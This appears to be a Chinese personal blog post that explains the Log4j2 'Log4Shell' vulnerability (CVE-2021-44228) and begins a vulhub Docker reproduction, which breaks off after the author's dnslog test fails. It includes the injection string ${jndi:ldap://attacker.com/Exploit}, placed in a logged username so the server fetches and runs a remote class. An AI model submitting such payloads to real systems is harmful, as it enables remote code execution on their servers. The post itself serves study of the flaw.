漏洞分析之 CVE-2021-44228

Log4j2 核弹级漏洞,时隔四年的复现。

前言

当时这个漏洞出来的时候各种公众号关于这个的稿子满天飞,但是一直是个守法好公民,也没想着拿去梭两把。

虽然现在对 Java 不怎么熟悉,但是还是想挑战下自己,觉得会挺有意思的。

前置知识

Log4j2 的日志记录功能

第一次看到 Log4j 可能会有点奇怪 —— 怎么叫这名
但是如果说这个是 Log for Java 的谐音的话,那一切就合理了
Log4j2 也不难理解,就是 Log4j 的第二个版本,就跟 python2 和 python3 一样,最早其实也是有 python 1.x 版本的,但是 python2 从 2000 年就开始推行,所以没人认识 python1.x 而已。

Lookup 功能的设计缺陷

Log4j2 支持一种名为 Lookup 的功能,允许在日志中插入动态内容,比如环境变量、系统信息等。
其语法为 ${...},例如 ${java:version} 会被替换为当前 Java 版本,听起来有点 SSTI 那味了。

JNDI

JNDI,全称 Java Naming and Directory Interface,Java 命名和目录接口,是 Java 提供的一种 API,用于访问命名和目录服务。
没接触过的读者看到这行字可能会心想:叽里咕噜说什么呢
但是问题不大,我也没看懂。
我们只需要大概理解成给他一个名字,他就能找到你想要的东西就行了,类似 Python 里的字典。

LDAP

LDAP,全称 Lightweight Directory Access Protocol,轻量级目录访问协议,是一种用于访问和维护分布式目录信息服务的协议。
如果这个也不看懂,那也没关系,同样类比 HTTP 协议就行了。

原理

假设有一个 Java 网站的登录接口记录用输入的用户名,大概意思是这样,代码不一定对:

1
logger.error("登录失败,用户名:" + username);

若攻击者提交的用户名为 ${jndi:ldap://attacker.com/Exploit},那么

  1. Log4j2 会解析 ${jndi:...},向 attacker.com 发起 LDAP 请求。
  2. LDAP 服务器返回一个指向 http://attacker.com/Exploit.class 的地址。
  3. Java 应用下载并执行 Exploit.class 中的恶意代码。

复现

受影响的版本 Apache Log4j 2.x <= 2.14.1
使用 vulhub 的 docker 镜像,位于 /log4j/CVE-2021-44228

1
docker-compose up -d

启动一下(每日热知识:-d--detach 的缩写,表示在后台运行容器)

试了好久那个 dnslog 都不行,

参考

log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)
跟个风,聊一聊这两天很火的Log4j核弹级漏洞

作者

未央

发布于

2025-04-11

更新于

2025-04-16

许可协议

评论